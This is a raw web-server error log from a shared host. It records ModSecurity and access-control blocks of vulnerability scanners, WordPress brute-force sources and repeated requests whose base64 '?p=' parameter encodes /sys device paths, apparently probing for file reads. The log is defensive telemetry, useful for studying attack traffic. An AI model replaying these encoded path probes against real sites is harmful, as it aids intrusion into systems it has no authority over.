https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:23:23.527068 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:23:23.581194 2026] [access_compat:error] [pid 715691:tid 715815] [remote 57.141.14.80:28793] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:23.581458 2026] [access_compat:error] [pid 715691:tid 715815] [remote 57.141.14.80:28793] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:24.049616 2026] [access_compat:error] [pid 646876:tid 646913] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3 [Sat Jun 13 18:23:24.049888 2026] [access_compat:error] [pid 646876:tid 646913] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3 [Sat Jun 13 18:23:24.104081 2026] [security2:error] [pid 715691:tid 715742] [remote 17.22.237.186:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30fLV-dFiaX9AtWiQkLQABgCA"] [Sat Jun 13 18:23:24.275344 2026] [access_compat:error] [pid 715691:tid 715760] [remote 57.141.14.105:49628] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:24.275622 2026] [access_compat:error] [pid 715691:tid 715760] [remote 57.141.14.105:49628] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:24.371312 2026] [access_compat:error] [pid 715691:tid 715833] [remote 57.141.14.22:44148] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:24.371561 2026] [access_compat:error] [pid 715691:tid 715833] [remote 57.141.14.22:44148] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:24.591353 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:23:24.591634 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:23:24.641973 2026] [access_compat:error] [pid 646876:tid 646978] [remote 57.141.14.78:54208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:24.642420 2026] [access_compat:error] [pid 646876:tid 646978] [remote 57.141.14.78:54208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:24.942421 2026] [access_compat:error] [pid 715691:tid 715752] [remote 57.141.14.54:35667] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:24.942886 2026] [access_compat:error] [pid 715691:tid 715752] [remote 57.141.14.54:35667] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:24.972903 2026] [security2:error] [pid 646876:tid 646937] [remote 17.246.15.78:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 78.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30fNyTkdrNlD40tSHSdQAAaDo"] [Sat Jun 13 18:23:25.028821 2026] [security2:error] [pid 715691:tid 715949] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/strtoupper.phpt"] [unique_id "ai30fbV-dFiaX9AtWiQkTAAAAXY"] [Sat Jun 13 18:23:25.055243 2026] [access_compat:error] [pid 715691:tid 715798] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:25.055663 2026] [access_compat:error] [pid 715691:tid 715798] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:25.118683 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:23:25.119144 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:23:25.216801 2026] [access_compat:error] [pid 715691:tid 715755] [remote 57.141.14.68:49346] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:25.217280 2026] [access_compat:error] [pid 715691:tid 715755] [remote 57.141.14.68:49346] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:25.256791 2026] [security2:error] [pid 715691:tid 715891] [client 13.140.175.37:64165] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "catalinamgmt.com"] [uri "/"] [unique_id "ai30fbV-dFiaX9AtWiQkXwAAATw"] [Sat Jun 13 18:23:25.430803 2026] [core:error] [pid 646876:tid 647071] [client 64.235.39.27:36750] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:23:25.430823 2026] [core:error] [pid 715691:tid 715937] [client 64.235.39.27:36734] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:23:25.430847 2026] [core:error] [pid 646876:tid 647071] [client 64.235.39.27:36750] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:23:25.430858 2026] [core:error] [pid 715691:tid 715937] [client 64.235.39.27:36734] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:23:25.655523 2026] [access_compat:error] [pid 646876:tid 646986] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:25.655817 2026] [access_compat:error] [pid 646876:tid 646986] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:25.672732 2026] [access_compat:error] [pid 715691:tid 715775] [remote 57.141.14.88:47206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:25.673011 2026] [access_compat:error] [pid 715691:tid 715775] [remote 57.141.14.88:47206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:25.758131 2026] [security2:error] [pid 646876:tid 647009] [client 13.140.175.37:60334] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "catalinamgmt.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "ai30fdyTkdrNlD40tSHSkQAAAAE"] [Sat Jun 13 18:23:25.864215 2026] [security2:error] [pid 715691:tid 715801] [remote 208.109.188.137:57076] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.188.109.208.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.yod.ninja"] [uri "/wp-login.php"] [unique_id "ai30fbV-dFiaX9AtWiQkfwABElo"] [Sat Jun 13 18:23:25.924751 2026] [security2:error] [pid 646876:tid 646979] [remote 17.246.15.43:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 43.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30fdyTkdrNlD40tSHSkgAAH2Q"] [Sat Jun 13 18:23:26.103535 2026] [access_compat:error] [pid 646876:tid 646931] [remote 57.141.14.39:31056] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:26.103888 2026] [access_compat:error] [pid 646876:tid 646931] [remote 57.141.14.39:31056] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:26.150704 2026] [security2:error] [pid 646876:tid 646919] [remote 17.22.253.144:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 144.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ftyTkdrNlD40tSHSmwAAdSg"] [Sat Jun 13 18:23:26.162485 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9kZXZpY2UvbW91c2UxL3Bvd2Vy [Sat Jun 13 18:23:26.162776 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9kZXZpY2UvbW91c2UxL3Bvd2Vy [Sat Jun 13 18:23:26.330671 2026] [access_compat:error] [pid 715691:tid 715786] [remote 57.141.14.9:43314] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:26.331119 2026] [access_compat:error] [pid 715691:tid 715786] [remote 57.141.14.9:43314] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:26.413514 2026] [security2:error] [pid 715691:tid 715726] [remote 17.241.75.198:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 198.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30frV-dFiaX9AtWiQkkgABbxA"] [Sat Jun 13 18:23:26.492800 2026] [security2:error] [pid 646876:tid 647034] [client 13.140.175.37:64910] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "catalinamgmt.com"] [uri "/media/system/js/core.js"] [unique_id "ai30ftyTkdrNlD40tSHSoAAAABo"] [Sat Jun 13 18:23:26.631191 2026] [access_compat:error] [pid 646876:tid 646909] [remote 57.141.14.28:60376] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:26.631458 2026] [access_compat:error] [pid 646876:tid 646909] [remote 57.141.14.28:60376] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:26.694799 2026] [security2:error] [pid 646876:tid 646918] [remote 57.141.14.98:38552] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 98.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.celadondragon.com"] [uri "/beta/content/histanddynasties/content/histanddynasties/EarlierHan/NorthernQi/SouthernQi/Shang/EasternJin/Tang/content/usingdictionaries/Qing/SouthernChen/SouthernSong/kangxi.php"] [unique_id "ai30ftyTkdrNlD40tSHSpwAAXyc"] [Sat Jun 13 18:23:26.702007 2026] [access_compat:error] [pid 646876:tid 646942] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:26.702450 2026] [access_compat:error] [pid 646876:tid 646942] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:27.122586 2026] [access_compat:error] [pid 646876:tid 647075] [client 66.249.75.131:40144] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:27.122968 2026] [access_compat:error] [pid 646876:tid 647075] [client 66.249.75.131:40144] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:27.170212 2026] [access_compat:error] [pid 646876:tid 646941] [remote 57.141.14.66:29872] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:27.170511 2026] [access_compat:error] [pid 646876:tid 646941] [remote 57.141.14.66:29872] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:27.191013 2026] [security2:error] [pid 715691:tid 715717] [remote 17.22.237.99:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. 